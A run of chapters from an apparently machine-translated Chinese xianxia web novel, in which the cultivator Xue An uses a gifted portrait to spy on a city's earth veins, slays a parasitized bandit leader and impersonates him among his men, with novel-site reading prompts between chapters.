    "This question is very simple. There is a technique of silence in the Yin-Yang family, which is to deposit one''s own souls and thoughts in the core of a certain star through some means, and when the time is right, it will naturally hatch. Offspring!"


    "And this trick was given to her by me at the time as a gift!"


    Xue An was shocked, and suddenly recalled that Shen Suqian once mentioned to himself by accident that she had no father or mother since she was a child, and she had been on a desolate planet since she was born.


    So far, all the details are perfectly aligned.


    After hearing these words, Xue An couldn''t help being silent, and it was not until a long time later that he sighed.


    "What a strange woman, I can''t meet each other!"


    Then he solemnly collected the portrait, and held a fist at Yuehua Zhongjun.


    "Thank you for what you said today. I know what happened back then. The Chinese people have always known for their gratitude, and I dare not forget the kindness of Senior Shen''s help!"


    Yuehua Zhongjun nodded, "I said these are not for you to remember her kindness, but just to tell you how unsightly what this seemingly superior Shen family has done!"


    Speaking of this, Yuehua Zhongjun looked disgusted.


    "In fact, over the years I have been trying my best to make those idiots pay the price, but I have no choice but to prove the saint and become the king of the Yin and Yang family, but I still can''t help this Shen family. Especially in recent years, this Shen family The family is becoming more arrogant and arrogant!"


    "That so-called Second Young Master Shen, Shen Muyu, has even played the banner of a genius among geniuses, but does he really know what a genius is?"


    "So I hope you can frustrate their vigor in the next Hundred Schools Conference! It''s best to let them know your Chinese identity, so that they can understand how stupid things were back then."


    "I understand! The Shen family this time... leave it to me!" Xue An said lightly.


    Although the tone was plain, it revealed a strong sense of confidence.


    Yuehua Zhongjun nodded, "I believe in your strength, but you still have to be more careful, and..."


    "After you go back, you must remember to take a look at this portrait, I believe it will help you."


    Xue An''s heart moved, but before he could say anything, Yuehua Zhongjun whispered softly: "It''s getting late, I''m going to rest, please go back!"


    With that, he waved his sleeves and Xue An appeared outside the city lord''s mansion.


    Turning around and looking at this tall and majestic mansion, Xue An''s eyes flickered slightly, even if Xuan disappeared into the vast night.


    At the same time, in the tea room, Moon Huazhong sat quietly for a long time, and finally whispered softly.


    "Jingshu, after so many years, I finally found a chance to talk, but where are you? Can I only see you again in the illusion?"


    Speaking of this, Yuehua Zhongjun couldn''t help crying.


    When the maid was assassinated before, the reason why he was obsessed was because through the bowl of Ecstasy, he saw the shadow of Shen Jingshu.


    Even if he knew it was a dangerous illusion, he couldn''t bear to wake up.


    During the long night, some people wept bitterly, while others were anxious.


    Yue Qinghuan felt that his heart had already touched his throat, pacing back and forth in the room.


    Yang Jian and Xiao Tian also looked solemn.


    "It''s so late and haven''t come back. Why don''t I go to the City Lord''s Mansion to take a look?" Xuantian couldn''t help but said.


    "No, UU reading God knows what is going on in the City Lord''s Mansion. If something really happens, will you go to death for nothing?" Yue Qinghuan said decisively.


    "If you want to go, I have to go. After all, I am the sister of the current Patriarch of the military family. The Moon Huazhong also knows me, so I shouldn''t dare to do anything to me!"


    With that said, Yue Qinghuan wanted to go out and investigate the situation.


    Yang Jian is still calmer, "Shaoan, don''t worry, there is still one hour before dawn, if Xiaoan hasn''t come back at dawn, we won''t be too late to make a decision!"


    "What are you waiting for? Didn''t you see the formation just now? Even the moon in the sky has disappeared. This is obviously the ultimate move used by the Moon Hua Zhongjun." Yue Qinghuan said anxiously.


    The sudden disappearance of Huayue in the sky just now shook most of Yunxiao City, and the three of Yue Qinghuan and Yang Jian naturally saw it.


    They were shocked at that time.


    Picking Haoyue by hand, this was obviously the most powerful killer move of the Moon Hua Zhongjun, from this it can be seen that Xue An''s sneaking trip this time was not so smooth.


    Yang Jian wanted to say something, but Yue Qinghuan couldn''t take care of that much anymore, and turned around and wanted to go out.


    At this moment, a chuckle came from outside the window.


    "No need to go, I''m back!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2502 The Art of Silence), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2503： Ground vein

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Xue An?" Yue Qinghuan shouted in surprise, and then opened the window.


    really.


    I saw Xue An standing in the courtyard, looking at everyone with a smile.


    The three immediately flew outside the window, and then Yue Qinghuan couldn''t wait to ask: "Are you all right!"


    Xue An shook his head, "Do you think I have something to do?"


    "Huh, the moon in the sky just disappeared suddenly, but it really scared us to death. I thought you couldn''t come back!"


    After confirming that Xue An was indeed not injured, Yue Qinghuan couldn''t help but let out a sigh of relief.


    Xue An smiled and said, "Don''t worry, since I go there, I have proved that I have full confidence. Besides, even if we really fight, then Moon Huazhong is at the same level as me, why would I be afraid of him!"


    Hearing what Xue An said, although Yue Qinghuan wanted to take a sip, the words still turned into a smile.


    "Just you."


    Xue An chuckled, then calmed down a few more words before Yue Qinghuan left.


    After she left, Yang Jian said calmly: "Shouting, you go and see if the girl from the ghost country is back!"


    "I saw it when I went downstairs just now. The room was empty, obviously I haven''t come back yet!"


    In fact, from yesterday noon, this descendant of the corpse chasing clan left the teahouse, and has not returned until now.


    "Master, do you want me to find it?"


    Yang Jian shook his head, "No, we are only working with her. Obviously there is a reason for her leaving. Let her go by herself. You have been busy all night, so go and rest."


    "Yes!" Although Xiaotian wanted to say something, seeing Yang Jian''s appearance, he obviously had something to discuss with Xue An, so he turned and left.


    When he left, Yang Jian''s expression became solemn, "How is it? Did it succeed?"


    Xue An shook his head.


    Yang Jian sighed, "I knew it would be like this. After all, the city lord''s mansion was built through the ages, and it can be said to be solid. If it didn''t succeed, it failed. What happened to the sudden disappearance of Huayue before? What a killer move! Did you do it with him?"


    "No, in fact, although I didn''t succeed this time, I had unexpected gains."


    With that said, Xue An recounted what happened after entering the city lord''s mansion.


    Especially emphatically tells about Shen Jingshu.


    After listening to it, Yang Jian''s expression changed suddenly, and then repeatedly said: "That''s how it is, that''s how it is!"


    Then he solemnly said to Xue An: "During the war, there was indeed an unknown female swordsman who fell from the sky to help us Chinese. This should be Shen Jingshu, the outcast of the Shen family!"


    As he said, Yang Jian said with a sigh: "As soon as this woman appeared at the time, she showed a terrifying strength and helped us repel strong enemies several times. But when we gratefully asked her name, she But she refused to disclose anything, until now she knew her true identity!"


    Xue An raised his eyebrows slightly at this time, "That''s right, according to Lord Yuehua, this Shen Jingshu had been to the earth and had contact with the Chinese gods at the time. Why don''t you know them?"


    Yang Jian smiled bitterly, "It was all messed up at the time. Who knows who is? At least I have never seen this girl Shen!"


    "Then what is the final result of this girl Shen?"


    Yang Jian shook his head, "I don''t know this, because I only saw her once on the battlefield, and never saw her again! After the Chinese defeated, I was imprisoned by Li Hentianjun. Get up, so I don��t know if she is alive or dead."


    Xue An''s eyes moved slightly and fell into contemplation.


    At that time, Lord Yuehua went to the earth, only to find the fluctuation of her sword qi, but he had never seen her corpse with his own eyes, and even the appearance of Shen Suqian from behind had many mysteries.


    It is a pity that there is too little information available to infer whether this Shen Jiaqi woman is alive or dead and where she is going.


    At this moment, Yang Jian sighed lightly.


    "Although the city lord��s large formation was not able to detect the whole city, it can be seen from the evil thing that he attacked Yuehua Zhongjun at any cost. He is at least facing the evil thing. The enemy��s enemy is a friend. I believe you also understand!"


    "Well, I understand this naturally." Xue Anying said.


    Yang Jian is gone.


    His current physical condition is not very good. The hangover the night before and the stay up all night has made him a little overwhelmed, so he went back to the house to rest early after speaking.


    When Xue An was left in the small courtyard, he remained silent for a moment, and then took out the portrait from his arms.


    The woman in the portrait is still gentle and demure.


    It''s just that when Xue An looked at it, there was a contemplative look on his face.


    Because of the words said by Mr. Yuehua before leaving, Xue An can be said to have a deep memory.


    Why did he ask himself to look at this portrait?


    Could there be any mystery in it?


    After carefully observing for a while, Xue An confirmed that there was nothing unusual about this drawing paper, so he separated a trace of spiritual thought and sneaked into it.


    boom!


    Almost as soon as he touched this portrait, Xue An felt as if something had exploded in the sea of ??consciousness, and then a strange scene appeared in front of him.


    I saw that the Yunxiao City under my feet became transparent a little bit, and there were countless threads as thin as hair.


    These veins are integrated with the entire city, and many of them converge into mighty rivers, winding and flowing under the ground of Yunxiao City.


    Xue An''s heart moved because he could conclude that these veins were exactly the veins hidden under Yunxiao City.


    The so-called earth veins refer to the direction of aura movement in Dongtianfu. UU reading www. uukanshu.com


    All high-level cities must be built according to the convergence of earth veins.


    As long as the flow of these veins is mastered, the entire city can be monitored.


    This is also the reason why Xue An had sneaked into the city lord''s mansion to look for the square formation.


    now.


    Xue An stood in the courtyard of this teahouse and looked around, and the surrounding buildings had become transparent.


    In this case, the city lord''s mansion in the distance became more conspicuous.


    Because just in the darkness before dawn, a brilliance rose to the sky in the city lord''s mansion.


    And all the ground veins in the ground finally converged to this city lord mansion.


    Xue An knew that this was not a real sight, but a spectacle that only existed in divine consciousness.


    But is this portrait of the Lord Yuehua just to let himself see the veins of the city?


    Xue Anlue pondered, and then thought of something. He carefully separated a strand of divine thoughts as thin as hair, extended downwards, plunged into the ground, and gathered together with those ground veins.


    When the two merged into one, Xue An was shocked, and then he saw a whole new world.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Chapter 2503 Dimai), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2504： back door

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    The wind blowing from under the eaves of the corridor shook the wind chimes, making a crisp and sweet sound, and a black cat gracefully walked across the wall.


    On the street, 437 people were walking by, among them two hundred and ten women.


    An ant crawled out of the cave in the corner. Before it stretched out, it was stepped on by a big foot.


    But after the pedestrians left, the ant shook the dust off his body and continued to crawl forward.


    And in the room on the street, some people are laughing, some are crying, and some are talking.


    Boundless information flooded into Xue An''s mind like a tide.


    At this moment, Xue An''s spiritual thoughts extended to all parts of Yunxiao City along these countless earth veins.


    Wherever he went, those shielding magic circles all failed.


    Xue An is like an all-knowing **** who has the information of the entire Yunxiao City at this moment.


    If you change to someone else, it will be enough to deal with these extremely complex information.


    Even if it''s the middle monarch of Yuehua, he has to selectively eliminate most of it, otherwise it will also cause a headache.


    But a big advantage of Xue An is the unimaginable divine consciousness, so even though the information of the whole city is gathered here at the moment, Xue An still handles it with ease without the slightest panic.


    With the processing of these huge information, those useless noises are removed, and the rest is valuable information.


    Then there is another round of screening...


    In short, after several rounds of screening, the remaining information is the most valuable.


    Then Xue An began to identify subjectively.


    Suddenly, after Xue An read the information, a faint smile appeared on the corners of his mouth.


    Mr. Yuehua is right. This portrait really helps him a lot.


    Because what kind of portrait is this, it is clearly left to him by the Lord Yuehua, a means that can bypass the city lord��s mansion detection array and directly contact the earth veins!


    This is as if a tight defense software has been artificially left behind as a background, Xue An logged in directly, and could not disturb anyone.


    No need to ask, this must be the Lord Yuehua who helped him secretly, but he couldn''t say it directly, so he told himself in this way.


    Soon, Xue An locked several valuable targets. As for other suspicious targets that could not be determined for the time being, Xue An also recorded them all.


    Then Xue An took a deep breath and retreated from that mysterious realm.


    Everything dissipated, the small courtyard was the same as the previous one, and the ground did not become transparent, except that the portrait in his hand became slightly dim.


    Xue An carefully put it away, and then looked at the sky in the east.


    At this time, the sky broke and a faint light appeared in the east, but this was also the time when people slept most.


    Although cultivators no longer need to sleep, it is most suitable to meditate and practice at night, so they also maintain a routine of work and rest that is similar to that of a human being.


    And this time happened to be when these cultivators were the most sleepy.


    Therefore, Xue An did not hesitate, but disappeared into the darkness.


    Yunxiao City, somewhere in a big house.


    Before this was the place where a wealthy businessman lived, but recently a group of people have moved in here.


    These people are fierce and wicked, and their aura is quite extraordinary. It is the famous Gale Village in the sky outside the sky.


    This Liefengzhai is located beside a prosperous commercial road in Tianwaitian, and all passing merchant ships have to pay them tolls.


    Relying on this income, Liefengzhai has grown into a behemoth in just a few decades.


    The leader of Liefengzhai, Bao Huarong, is the top master in the local area.


    This time they also came to the Yin Yang Family Yunxiao City, just to make their mark in this Hundred Family Conference.


    It''s just that since they came here, these people are still spending time and money, and they have completely forgotten the purpose of this trip.


    Fortunately, because they were on the ground of the Yin Yang family, these usually arrogant and domineering guys didn''t dare to make too many attempts, so they endured it like this.


    At this moment, the small courtyard that had been busy all night finally quieted down.


    In the mess, even the person in charge of the vigilance fell asleep.


    In their opinion, this is the territory of the Yin-Yang family, which is desperate and dare to cause trouble here.


    So I slept happily from top to bottom.


    Xue An came here on his first stop, and saw him come to the courtyard quietly, and after discerning the direction for a while, he went straight to the main room in the middle of the courtyard.


    However, after arriving at the door, he did not rush in, but stayed for a while in front of the door.


    Suddenly.


    There was a silent flicker from the doors and windows of the room, and then a slight breathing sound came from the room.


    The corners of Xue An''s mouth raised.


    He knew the virtues of these guys very well, and he couldn''t even believe in them, let alone these men.


    So when you are asleep, you will definitely set up a defensive circle outside. If you just accidentally broke into it directly, it must have alarmed the people inside.


    Xue An turned into smoke and sneaked into it quietly.


    The room was very dark, but to Xue An, it was not an obstacle at all.


    Under the divine mind, everything is invisible.


    It can be seen that there are two figures lying faintly on the big bed in the distance.


    One of them is fast asleep and seems to be a woman listening to the voice.


    As for the other one, lying there silently, as if...dead.


    Xue An floated to the window, looking at a woman with a pretty face, and a sturdy man lay on the side.


    It is the owner of Liefengzhai Bao Huarong.


    But at this moment, the "heroic" master of the Great Wall, his face was extremely pale, and he didn''t even breathe at all. UU Reading


    But Xue An didn''t care about this at all, because his eyes had been attracted by the bulge on Bao Huarong''s chest.


    This bulge was the size of a fist, and it fluctuated slightly, as if something was sleeping in it.


    Xue An raised the corners of his mouth and sneered silently. In the next second, a ray of sharp sword light pierced straight, just piercing the bulge on the chest of this violent face.


    puff!


    Stained blood splattered.


    This bulge struggled with extreme pain, while Bao Huarong opened his mouth, trying to scream.


    But at this moment, a spark of fire gushed from his mouth.


    The flame spread rapidly, and instantly burned the master of Gale Wind Village into nothingness.


    All this happened extremely fast, and the flame only burned the violent glory to nothing, but the sheets under him were not damaged at all.


    However, this change still disturbed the woman beside her.


    She trembled, and then she was about to open her eyes.


    At this moment, a ray of white light fell on the bed, and in an instant it turned into that violent image.


    "master!"


    "Huh! What''s the matter?" Bao Huarong said vaguely.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (the back door of Chapter 2504), and you can see it when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2505： Incarnate as the master of Liefengzhai

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "The slave servant just had a nightmare!"


    "Oh? What nightmare?"


    "Dreaming that you suddenly become a weird bug, Lord, and then burned to nothing by a ball of flame!" the woman said nervously.


    She did have a strange dream just now.


    In the dream, Bao Huarong suddenly turned into a hideous monster, about to eat himself with teeth and claws, but was nailed to death by a ray of sword light from the sky, and then burned to nothing by flames.


    This dream was so real that he even felt a faint enthusiasm before waking up.


    She didn''t realize that it was a nightmare until she found that "Baohuarong" was still lying on the side.


    But after speaking out, she regretted it again.


    Because this violent Hua Rong is usually very irritable, he will definitely be furious when he hears that he actually cursed him to death in a dream.


    So at this moment, she was trembling and waiting for the fall of Bao Huarong.


    But at this time, "Bao Huarong" chuckled lightly, "It should be that you are tired during this period. You should go out and rest. The pressure here may be even greater!"


    The woman opened her eyes wide and couldn''t believe her ears.


    The owner of the village actually wants to go by himself?


    Suddenly!


    She thought of something and hurriedly knelt on the bed.


    "The village master is forgiving, and the maidservant will never dare anymore! I...I will serve you now!"


    With that, she tremblingly wanted to untie her clothes.


    Xue An looked at him and couldn''t help crying or laughing.


    Obviously this woman would be wrong.


    Of course he wouldn''t let her wait in bed, so he sternly said, "Get out of here, before I change my mind!"


    The woman trembled with fright, and then she ran away in a panic.


    After she left, Xue An slowly got up and came to the window.


    At this moment, dawn has broken in the East, and the whole city is waking up.


    Listening to the voices from the distant streets, Xue An couldn''t help but show a cold smile on the corners of his mouth.


    The master of the strong wind village, Bao Huarong, has naturally been infested by evil things.


    And just now, Xue An not only cleaned him up, but also incarnate dozens of them, and worked together everywhere in Yunxiao City.


    After removing the existence of these evil things, Xue An took his place and hid it perfectly.


    Speaking of it, after Xue An entered the realm of saints, there were far more avatars than the same level, and each avatar was alive, possessing a part of self-determination ability, without any sluggishness.


    All of this is due to Xue An''s powerful and almost perverted spirit.


    Especially after entering the realm of a saint, Xue An faintly felt that his divine consciousness had reached a certain unspeakable height.


    At this moment, I heard a timid voice behind me.


    "Old...Master, drink tea!"


    Xue An turned his head and looked around, and saw the woman standing tremblingly on the side with a cup of hot tea in her hand.


    After noticing Xue An''s gaze, the woman trembled all over, and hurriedly lowered her head deeply.


    "Well, put it on the table!"


    "Yes!"


    The woman put the tea cup on the table carefully, and then stood aside respectfully, not daring to make any trouble.


    Xue An didn''t speak too much either, after all, he had just eliminated Bao Huarong now, and it would take some time to imitate this person''s words and deeds.


    If there is a sudden big change, it is easy to arouse others'' suspicion.


    So he stepped to the table, Shi Shiran sat down, picked up his teacup and took a sip.


    The tea is sweet and fragrant, which is actually very good.


    It happened to be running around last night and hadn''t eaten anything, so Xue An simply picked up the snacks on the table and ate and drank.


    After eating and drinking, Xue An leaned on the chair. Before she could speak, the woman walked up very well, and stretched out her hand to gently knead her shoulders for Xue An.


    The intensity is neither heavy nor light, very comfortable.


    But Xue An didn''t care about this, because at this moment, he caught a glimpse of the wound on the woman''s arm that was exposed between the hands and feet from the corner of his eye.


    Its color was bruised, and it was obviously a fresh scar.


    Seeing this scene, Xue An couldn''t help frowning slightly.


    At this moment, the cruel temperament of the master of the strong wind village he incarnates, one can imagine the abuse that this woman has suffered in her daily life.


    But he didn''t say anything, just slowly closed his eyes and leaned back on the chair to rest.


    This brutal appearance is obviously an important task.


    Although the strength of Liefengzhai is not strong in this outer sky, but his subordinates govern a group of mobs like wolves and tigers.


    These guys may only be bad things in peacetime, but if used properly, it can be a terrible help.


    This is especially true when this hundred conferences are about to be held.


    Presumably, these evil things had taken a fancy to this point, so they sent evil things to parasitize him.


    What do you need to do next? Xue An is thinking about it.


    And at this moment, this woman was also watching Xue An secretly.


    For this strong man who captured himself, it is impossible to say that this woman does not hate in her heart.


    But she also knew that her strength was low and she was not the opponent of this great village master at all.


    Especially during this time, the aura on this great village master became more and more cold. When sleeping together at night, she even suspected that it was not a person lying next to him, but a cold and evil lizard.


    This feeling made her feel like sitting on pins and needles and had many nightmares during this time.


    What is strange is that today she found that the cold air in Dazhai Master seemed to disappear.


    Not only that, but Dazhai Lord seemed to treat himself a little better.


    For example, when it was still dark today, she thought that she would definitely not be able to escape this brutal beating, and she would be brutally abused.


    This is something she has become accustomed to.


    But I didn''t expect that Da Zhaizhu didn''t hit her. Instead, he said that it was because of his pressure that he let himself go.


    This change made the woman frightened, for fear that this great village master was tired of having fun and was about to kill herself.


    That''s why he bit his scalp and brought morning tea and snacks to test Xue An''s attitude.


    now.


    Looking at the Great Zhaizhu who leaned on the chair and closed her eyes and meditated, many thoughts flashed through the woman''s mind.


    The master of Dazhai is really different!


    Especially this breath on the body, why does UU reading suddenly become so good smelling?


    You should know that the former violent and arrogant people are tall and majestic. Although they are successful in cultivation, they usually don''t pay much attention to hygiene, so the taste of the body can be imagined.


    But at this moment, the woman was very close to Xue An, so she could smell the faint fragrance of grass coming from him.


    This made the woman a little lost, so one of them didn''t pay attention, and the force used by his subordinates was a little bit stronger, actually tore off a few hairs.


    Now the woman''s complexion changed drastically.


    You must know that this violent Huarong is bald because of his practice, so he values ??the few remaining hairs very much, and he will be furious if he drops a little.


    What''s more, several pieces were torn down at this moment.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2505 Incarnation of Dazhai Master of Liefeng Village), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2506： Hairstyle that travels across the ocean

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    Xue An, who was thinking about how to tame and use these thugs, felt the pain and couldn''t help but open his eyes.


    The woman was already standing with her clothes shaking in fright. Seeing Xue An opened her eyes, she threw herself on her knees and knelt on the ground again and again.


    "Master for mercy, Master for mercy, I didn''t mean to be a maid, please don''t kill me! Don''t kill me!"


    Today, the strange performance of the Great Zhaizhu has made this woman like a frightened bird, so she collapsed easily at this moment.


    But just when she thought she was bound to die, she only heard a faint voice coming from the top of her head.


    "Get up, you are not allowed to kneel when I don''t say anything!"


    "Yes...huh?" The woman thought she had misheard, raising her head and looking at Xue An with a blank face.


    Is this over?


    Didn''t even hit yourself?


    Feeling the woman''s embarrassment, Xue Anqiang held back the smile in his heart and slammed his face.


    "Why? Don''t I have to let me beat you to get up?"


    The woman then stood up hurriedly, standing there at a loss, as if she didn''t know what to do.


    Xue An said lightly: "Go and get the spatula and towel!"


    "Yes!" The woman turned and left.


    "By the way, remember to bring another mirror here!"


    "Yes!"


    The woman subconsciously responded and didn''t understand it until she got out of the room.


    What do the main scrapers, towels and mirrors do in Dazhai?


    Could it be... he wanted to put himself to death a little bit with a spatula?


    Is the towel used to dry the blood?


    As for the mirror...


    Maybe Dazhai Lord has any perverted hobbies, he likes to look at his painful expression in the mirror!


    This thought made the woman''s complexion pale instantly, and the more she thought about it, the more reasonable she became.


    But she didn''t dare to disobey Xue An''s orders, so she fetched things in despair, and then returned to the room.


    At the moment when the door was opened, the woman turned around in despair and glanced at the bright sunshine, and muttered in her heart.


    do not!


    sunlight!


    do not!


    This beautiful world!


    This should be the last time I see you.


    Then he plucked up his last courage and walked into the room and asked in a trembling voice.


    "Master, when I have fetched it?"


    "Let''s do it now!" Xue An said lightly, sitting on the chair.


    it is as expected! The woman smiled wryly with a pale face, and then closed her eyes as if she accepted her fate.


    "Master, please hurry up when you do it, so that I can die without pain, so that I am grateful for your kindness under Jiuquan!"


    Hearing this, Xue An turned his head and glanced at her a little strangely, and then both laughed and laughed.


    "What''s the matter? I asked you to shave all the remaining hair for me!"


    Ok?


    The woman couldn''t believe her ears.


    Is it true that the great village master is not going to kill himself?


    This doubt didn''t disappear until she actually started to shave Xue An''s hair.


    The little remaining hair was quickly shaved, and then Xue An looked at the shiny head in the mirror and nodded in satisfaction.


    Although this face is still ugly and ferocious, it is at least much better than the previous hairstyle.


    You must know that because of the baldness of the former violent Huarong, he deliberately left the hair around him very long, and then covered the top of his head across the ocean.


    However, this technique can only be concealed, especially because the hair is too sparse. As long as there is a slight breeze, these hairs will sway with the wind, like enchanting seaweed.


    The picture is so beautiful that I dare not look at it.


    Although Xue An didn''t want to make too many changes to arouse others'' suspicion, he still couldn''t stand this extremely greasy and weird hairstyle, so he shaved it off a few times.


    And looking at the satisfied smile on Da Zhaizhu''s face, the woman couldn''t help but feel a little surprised.


    what is it today?


    Why did the master of the Great Zhai suddenly change into a different person? He didn''t even need the most cherished hair before.


    As if he had noticed the woman''s doubts, Xue An said lightly: "These hairs are nothing but things outside of the body, and they will grow back soon!"


    After speaking, Xue An got up and walked downstairs.


    The woman stood still thinking about Xue An''s words.


    Will it grow back soon?


    Could it be that Dazhai Lord is about to break through the current realm?


    Ok!


    It must be so, otherwise he would not have such abnormal behavior today.


    This thought shocked the woman, and immediately hid the hatred hidden in her heart deeper.


    You must know that the strength of the great village master is already an insurmountable existence for her, and if she breaks through again, it will not be something she can resist.


    So she had to hide all the hatred in her heart, and then hurriedly followed.


    At this time, the sun was already high, and the thugs of Galefengzhai who had been drunk last night also woke up one after another, and then sat in the courtyard chatting.


    When Xue An walked down the stairs and came to the courtyard, these thugs stood up screaming and saluted one after another.


    "Master of Dazhai!"


    "I have seen the master of Dazhai!"


    Although they all stood up, Xue An could still see that the speed of these people''s getting up was not consistent. Some of them got up very busy when they saw Xue An''s shadow, and some did not get up until Xue An was already close. Slowly stood up.


    The most annoying was the person sitting under the tree. He said he had stood up, but his buttocks had moved slightly away from the seat, and then he clasped his fists perfunctorily.


    Xue An''s heart moved.


    It seems that Bao Huarong''s methods are not very good!


    Obviously, these men were not so convinced by him.


    Especially the person sitting under the tree, there are many people who seem to be watching his face faintly.


    He got up, UU reading these people just got up to salute.


    At this moment, these thugs also noticed the new hairstyle of their great village master, and they all exclaimed.


    "Master, what''s wrong with your hair?"


    "Yeah, why did you suddenly shave a bald head?"


    Xue An touched that shiny head, and smiled, "It''s nothing, I just think it''s getting in the way, how about it? Does it look good?"


    "Yeah! This is much better than the previous hairstyle. The previous hairstyle was like a hairy marinated egg!" A silly big guy blurted out.


    Someone beside him kept pushing him in secret, and he turned his head back dissatisfiedly and said, "How did you push me? Am I wrong?"


    Xue An laughed loudly, "Yes, it did not look good before! But don''t worry, this hair will grow out soon after you shave it!"


    As soon as he said this, the man sitting under the tree was shocked, and then he looked at Xue An.


    Xue An happened to be watching him too, then smiled and nodded.


    The man hurriedly lowered his head, then stood up, not daring to sit again.


    Xue An asked with a smile, "How was your rest last night?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2506 Hairstyle Across the Sea), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2507： Intrigue

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Although Xue An was laughing, it fell in the eyes of this man like a demon whispering, making him chill and his heart trembled.


    "Back to the master of Dazhai, I was full of wine and food, and I had a very comfortable rest. It was just a bit boring to stay in this small courtyard all day.


    "Yes, this ghost place is good everywhere, it''s just uncomfortable idle."


    The crowd was noisy for a while.


    The man lowered his head deeply and said nothing.


    But he didn''t speak, but Xue An didn''t let him go.


    "Second Village Master, what do you think?"


    The man trembled all over, and then he said in a deep voice, "Going back to the main village master, I think it''s okay!"


    That''s right.


    This man is the second village master of Liefeng Village, Tong Chengjin.


    As a powerful figure second only to Dazhai master Bao Huarong, this Tong Chengjin has high prestige in this strong wind village, and his subordinates have a group of loyal fans, and he has already formed a challenge to Bao Huarong in the dark.


    The previous Bao Huarong was not unaware of this, although he had always wanted to get rid of this person, but he had no choice but to leave it alone.


    But now that Xue An has wiped out the violent Huarong and replaced it, in order to completely control this group of thugs, it is natural to completely eradicate this uncertain factor.


    Therefore, Xue An smiled slightly after hearing Tong Chengjin''s reply.


    "I also feel that I''ve been a little bored in this small courtyard recently. Why don''t we go out around noon today, and see the prosperity of Yunxiao City by the way?"


    "it is good!"


    "The master of Dazhai is wise!"


    The crowd applauded.


    This Tong Chengjin was also taken aback, and then looked at Xue An with a blank look, and a thought came to his mind.


    What does he want to do?


    You must know that since coming to Yunxiao City, this violent appearance has remained simple, rarely appearing in front of the crowd.


    Why did you suddenly change your temper today and want to go outside?


    Combined with his weird and sullen smile just now, this Tong Chengjin''s heart couldn''t help but rise with an indeterminate premonition.


    But the matter was over, he couldn''t stop him, so he nodded.


    "That''s good, just to go out and relax."


    Xue An smiled, then waved his hand.


    "go!"


    A group of people walked out of the small courtyard and came to the street.


    Because they are all fierce and sturdy men, so what they have gone through can be described as turbulent.


    Many people dodge aside in a hurry, for fear that they will provoke these uncles again.


    This group of thugs looked around enthusiastically, their faces full of excitement.


    "Look, look, that little lady over there looks pretty good, Shui Lingling''s long legs make people want to touch them when they see it."


    "The one next to it is even better, it can pinch out water with a tender face!"


    These people unscrupulously talked to the women on the street, and their words were vulgar and rude, which made these women embarrassed and embarrassed.


    But they could only stare at them fiercely, and then ran away in a hurry.


    This drew their arrogant laughter, which made the whole street look at them.


    Xue An frowned secretly, these guys are really thugs worthy of the name.


    Not to mention anything else, just this ability to cause trouble is enough to be amazing.


    But Xue Annai didn''t say anything, but led the people to a restaurant.


    No matter where you go, people have to eat.


    And when there are more people eating, there will naturally be restaurants.


    This Yunxiao City is naturally no exception.


    As the Hundreds Conference is about to be held, the entire Yunxiao City is very lively, so this restaurant is full of business.


    For example, this restaurant in front of you is like this, the upstairs and downstairs are full of people, and you can smell the strong smell of food from a long distance away.


    Although they were eating well in the small courtyard during this period, they would get tired of eating too many delicious things.


    Therefore, after smelling the various fragrances, these thugs also couldn''t stop moving their index fingers.


    "Dazhai Lord, do we want to go in and try it?"


    "Yes, look at this, this restaurant tastes good!"


    People began to tease Xue An.


    Xue An smiled, "Well, since it''s here, let''s try it!"


    With that, he took a step and walked into the restaurant.


    A buddy in front of the door had noticed their group long ago, and he couldn''t help feeling miserable when they saw them coming here.


    Even fools can see that this group of people are not kind, not to mention the shopkeepers who are known for their words and colors.


    But there was no way, all the visitors came, and the shop''s second person could only be careful and ran forward quickly.


    "Several guest officials, I''m really sorry. The shop is full today. Why don''t you take a step up and go to another restaurant?"


    This was extremely polite, but his response was a loud slap in the face.


    The attacker was the master of the second village, Tong Chengjin.


    I saw him coldly said: "What are you? You dare to stop us? It is your honour for the main Dazhai to come to eat with you today, don''t hurry up to prepare!"


    This shop''s Xiao Er was bleeding from the fan''s nose and mouth, but she didn''t even dare to wipe it, so she could only nod and bow her waist.


    "Several uncles, it''s not that the shop is not willing to entertain, but there is really no place!"


    This Tong Chengjin glared, then raised his hand to hit someone.


    At this moment, a faint voice came from behind.


